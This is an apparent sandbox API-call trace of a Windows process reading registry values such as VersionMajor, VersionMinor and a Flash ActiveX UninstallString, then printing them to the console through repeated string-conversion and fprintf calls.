_Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.776] _fileno (_File=0x7fefd702ab0) returned 1 [0146.776] _errno () returned 0xc4bb0 [0146.776] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.776] _errno () returned 0xc4bb0 [0146.776] GetFileType (hFile=0x50) returned 0x1 [0146.776] lstrlenW (lpString=" ") returned 4 [0146.776] GetConsoleOutputCP () returned 0x1b5 [0146.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.776] GetConsoleOutputCP () returned 0x1b5 [0146.776] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.777] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.777] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.777] lstrlenW (lpString="VersionMajor") returned 12 [0146.777] __iob_func () returned 0x7fefd702a80 [0146.777] _fileno (_File=0x7fefd702ab0) returned 1 [0146.777] _errno () returned 0xc4bb0 [0146.777] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.777] _errno () returned 0xc4bb0 [0146.777] GetFileType (hFile=0x50) returned 0x1 [0146.777] lstrlenW (lpString="VersionMajor") returned 12 [0146.777] GetConsoleOutputCP () returned 0x1b5 [0146.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.777] GetConsoleOutputCP () returned 0x1b5 [0146.777] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMajor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMajor", lpUsedDefaultChar=0x0) returned 12 [0146.777] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0146.777] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.777] __iob_func () returned 0x7fefd702a80 [0146.777] _fileno (_File=0x7fefd702ab0) returned 1 [0146.777] _errno () returned 0xc4bb0 [0146.777] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.777] _errno () returned 0xc4bb0 [0146.777] GetFileType (hFile=0x50) returned 0x1 [0146.777] lstrlenW (lpString=" ") returned 4 [0146.777] GetConsoleOutputCP () returned 0x1b5 [0146.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.778] GetConsoleOutputCP () returned 0x1b5 [0146.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.778] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.778] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.778] __iob_func () returned 0x7fefd702a80 [0146.778] _fileno (_File=0x7fefd702ab0) returned 1 [0146.778] _errno () returned 0xc4bb0 [0146.778] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.778] _errno () returned 0xc4bb0 [0146.778] GetFileType (hFile=0x50) returned 0x1 [0146.778] lstrlenW (lpString="REG_DWORD") returned 9 [0146.778] GetConsoleOutputCP () returned 0x1b5 [0146.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.778] GetConsoleOutputCP () returned 0x1b5 [0146.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.778] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.778] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.778] __iob_func () returned 0x7fefd702a80 [0146.778] _fileno (_File=0x7fefd702ab0) returned 1 [0146.778] _errno () returned 0xc4bb0 [0146.778] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.778] _errno () returned 0xc4bb0 [0146.778] GetFileType (hFile=0x50) returned 0x1 [0146.778] lstrlenW (lpString=" ") returned 4 [0146.779] GetConsoleOutputCP () returned 0x1b5 [0146.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.779] GetConsoleOutputCP () returned 0x1b5 [0146.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.779] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.779] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.779] __iob_func () returned 0x7fefd702a80 [0146.779] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.779] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0xb") returned 3 [0146.779] _fileno (_File=0x7fefd702ab0) returned 1 [0146.779] _errno () returned 0xc4bb0 [0146.779] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.779] _errno () returned 0xc4bb0 [0146.779] GetFileType (hFile=0x50) returned 0x1 [0146.779] lstrlenW (lpString="0xb") returned 3 [0146.779] GetConsoleOutputCP () returned 0x1b5 [0146.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.779] GetConsoleOutputCP () returned 0x1b5 [0146.779] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xb", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xb", lpUsedDefaultChar=0x0) returned 3 [0146.779] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.779] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.780] __iob_func () returned 0x7fefd702a80 [0146.780] _fileno (_File=0x7fefd702ab0) returned 1 [0146.780] _errno () returned 0xc4bb0 [0146.780] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.780] _errno () returned 0xc4bb0 [0146.780] GetFileType (hFile=0x50) returned 0x1 [0146.780] lstrlenW (lpString="\n") returned 1 [0146.780] GetConsoleOutputCP () returned 0x1b5 [0146.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.780] GetConsoleOutputCP () returned 0x1b5 [0146.780] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.780] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.780] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.780] GetProcessHeap () returned 0x2e0000 [0146.780] GetProcessHeap () returned 0x2e0000 [0146.780] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.780] GetProcessHeap () returned 0x2e0000 [0146.780] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.781] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.781] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="VersionMinor", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.781] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.781] GetProcessHeap () returned 0x2e0000 [0146.781] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fb7d0 [0146.781] GetProcessHeap () returned 0x2e0000 [0146.781] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.781] GetProcessHeap () returned 0x2e0000 [0146.781] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.781] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="VersionMinor", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fb7d0*=0x2, pcbData=0x23f670*=0x4) returned 0x0 [0146.781] __iob_func () returned 0x7fefd702a80 [0146.781] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.781] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.781] _fileno (_File=0x7fefd702ab0) returned 1 [0146.781] _errno () returned 0xc4bb0 [0146.781] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.781] _errno () returned 0xc4bb0 [0146.781] GetFileType (hFile=0x50) returned 0x1 [0146.781] lstrlenW (lpString=" ") returned 4 [0146.781] GetConsoleOutputCP () returned 0x1b5 [0146.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.781] GetConsoleOutputCP () returned 0x1b5 [0146.781] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.781] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.781] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.781] lstrlenW (lpString="VersionMinor") returned 12 [0146.782] __iob_func () returned 0x7fefd702a80 [0146.782] _fileno (_File=0x7fefd702ab0) returned 1 [0146.782] _errno () returned 0xc4bb0 [0146.782] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.782] _errno () returned 0xc4bb0 [0146.782] GetFileType (hFile=0x50) returned 0x1 [0146.782] lstrlenW (lpString="VersionMinor") returned 12 [0146.782] GetConsoleOutputCP () returned 0x1b5 [0146.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0146.782] GetConsoleOutputCP () returned 0x1b5 [0146.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="VersionMinor", cchWideChar=12, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VersionMinor", lpUsedDefaultChar=0x0) returned 12 [0146.782] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0146.782] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.782] __iob_func () returned 0x7fefd702a80 [0146.782] _fileno (_File=0x7fefd702ab0) returned 1 [0146.782] _errno () returned 0xc4bb0 [0146.782] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.782] _errno () returned 0xc4bb0 [0146.782] GetFileType (hFile=0x50) returned 0x1 [0146.782] lstrlenW (lpString=" ") returned 4 [0146.782] GetConsoleOutputCP () returned 0x1b5 [0146.782] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.782] GetConsoleOutputCP () returned 0x1b5 [0146.783] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.783] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.783] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.783] __iob_func () returned 0x7fefd702a80 [0146.783] _fileno (_File=0x7fefd702ab0) returned 1 [0146.783] _errno () returned 0xc4bb0 [0146.783] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.783] _errno () returned 0xc4bb0 [0146.783] GetFileType (hFile=0x50) returned 0x1 [0146.783] lstrlenW (lpString="REG_DWORD") returned 9 [0146.783] GetConsoleOutputCP () returned 0x1b5 [0146.783] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.783] GetConsoleOutputCP () returned 0x1b5 [0146.783] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.783] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.783] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.783] __iob_func () returned 0x7fefd702a80 [0146.783] _fileno (_File=0x7fefd702ab0) returned 1 [0146.783] _errno () returned 0xc4bb0 [0146.783] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.783] _errno () returned 0xc4bb0 [0146.783] GetFileType (hFile=0x50) returned 0x1 [0146.783] lstrlenW (lpString=" ") returned 4 [0146.783] GetConsoleOutputCP () returned 0x1b5 [0146.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.784] GetConsoleOutputCP () returned 0x1b5 [0146.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.784] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.784] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.784] __iob_func () returned 0x7fefd702a80 [0146.784] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.784] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x2") returned 3 [0146.784] _fileno (_File=0x7fefd702ab0) returned 1 [0146.784] _errno () returned 0xc4bb0 [0146.784] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.784] _errno () returned 0xc4bb0 [0146.784] GetFileType (hFile=0x50) returned 0x1 [0146.784] lstrlenW (lpString="0x2") returned 3 [0146.784] GetConsoleOutputCP () returned 0x1b5 [0146.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.784] GetConsoleOutputCP () returned 0x1b5 [0146.784] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x2", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x2", lpUsedDefaultChar=0x0) returned 3 [0146.784] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.784] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.784] __iob_func () returned 0x7fefd702a80 [0146.784] _fileno (_File=0x7fefd702ab0) returned 1 [0146.784] _errno () returned 0xc4bb0 [0146.784] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.784] _errno () returned 0xc4bb0 [0146.785] GetFileType (hFile=0x50) returned 0x1 [0146.785] lstrlenW (lpString="\n") returned 1 [0146.785] GetConsoleOutputCP () returned 0x1b5 [0146.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.785] GetConsoleOutputCP () returned 0x1b5 [0146.785] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.785] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.785] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.785] GetProcessHeap () returned 0x2e0000 [0146.785] GetProcessHeap () returned 0x2e0000 [0146.785] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0146.785] GetProcessHeap () returned 0x2e0000 [0146.785] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x6 [0146.785] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0146.785] RegEnumValueW (in: hKey=0x5c, dwIndex=0xb, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.785] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xb6) returned 0x0 [0146.785] GetProcessHeap () returned 0x2e0000 [0146.785] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xb8) returned 0x2fcd70 [0146.785] GetProcessHeap () returned 0x2e0000 [0146.785] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcd70) returned 1 [0146.785] GetProcessHeap () returned 0x2e0000 [0146.785] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcd70) returned 0xb8 [0146.785] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcd70, pcbData=0x23f670*=0xb6 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_11_2_202_233_ActiveX.exe -maintain activex", pcbData=0x23f670*=0xb4) returned 0x0 [0146.786] __iob_func () returned 0x7fefd702a80 [0146.786] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.786] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.786] _fileno (_File=0x7fefd702ab0) returned 1 [0146.786] _errno () returned 0xc4bb0 [0146.786] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.786] _errno () returned 0xc4bb0 [0146.786] GetFileType (hFile=0x50) returned 0x1 [0146.786] lstrlenW (lpString=" ") returned 4 [0146.786] GetConsoleOutputCP () returned 0x1b5 [0146.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.786] GetConsoleOutputCP () returned 0x1b5 [0146.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.786] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.786] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.786] lstrlenW (lpString="UninstallString") returned 15 [0146.786] __iob_func () returned 0x7fefd702a80 [0146.786] _fileno (_File=0x7fefd702ab0) returned 1 [0146.786] _errno () returned 0xc4bb0 [0146.786] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.786] _errno () returned 0xc4bb0 [0146.786] GetFileType (hFile=0x50) returned 0x1 [0146.786] lstrlenW (lpString="UninstallString") returned 15 [0146.786] GetConsoleOutputCP () returned 0x1b5 [0146.786] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0146.787] GetConsoleOutputCP () returned 0x1b5 [0146.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0146.787] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0146.787] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.787] __iob_func () returned 0x7fefd702a80 [0146.787] _fileno (_File=0x7fefd702ab0) returned 1 [0146.787] _errno () returned 0xc4bb0 [0146.787] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.787] _errno () returned 0xc4bb0 [0146.787] GetFileType (hFile=0x50) returned 0x1 [0146.787] lstrlenW (lpString=" ") returned 4 [0146.787] GetConsoleOutputCP () returned 0x1b5 [0146.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.787] GetConsoleOutputCP () returned 0x1b5 [0146.787] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.787] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.787] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.787] __iob_func () returned 0x7fefd702a80 [0146.787] _fileno (_File=0x7fefd702ab0) returned 1 [0146.787] _errno () returned 0xc4bb0 [0146.787] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.787] _errno () returned 0xc4bb0 [0146.787] GetFileType (hFile=0x50) returned 0x1 [0146.787] lstrlenW (lpString="REG_SZ") returned 6 [0146.788] GetConsoleOutputCP () returned 0x1b5 [0146.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.788] GetConsoleOutputCP () returned 0x1b5 [0146.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.788] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.788] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.788] __iob_func () returned 0x7fefd702a80 [0146.788] _fileno (_File=0x7fefd702ab0) returned 1 [0146.788] _errno () returned 0xc4bb0 [0146.788] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.788] _errno () returned 0xc4bb0 [0146.788] GetFileType (hFile=0x50) returned 0x1 [0146.788] lstrlenW (lpString=" ") returned 4 [0146.788] GetConsoleOutputCP () returned 0x1b5 [0146.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.788] GetConsoleOutputCP () returned 0x1b5 [0146.788] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.788] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.788] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 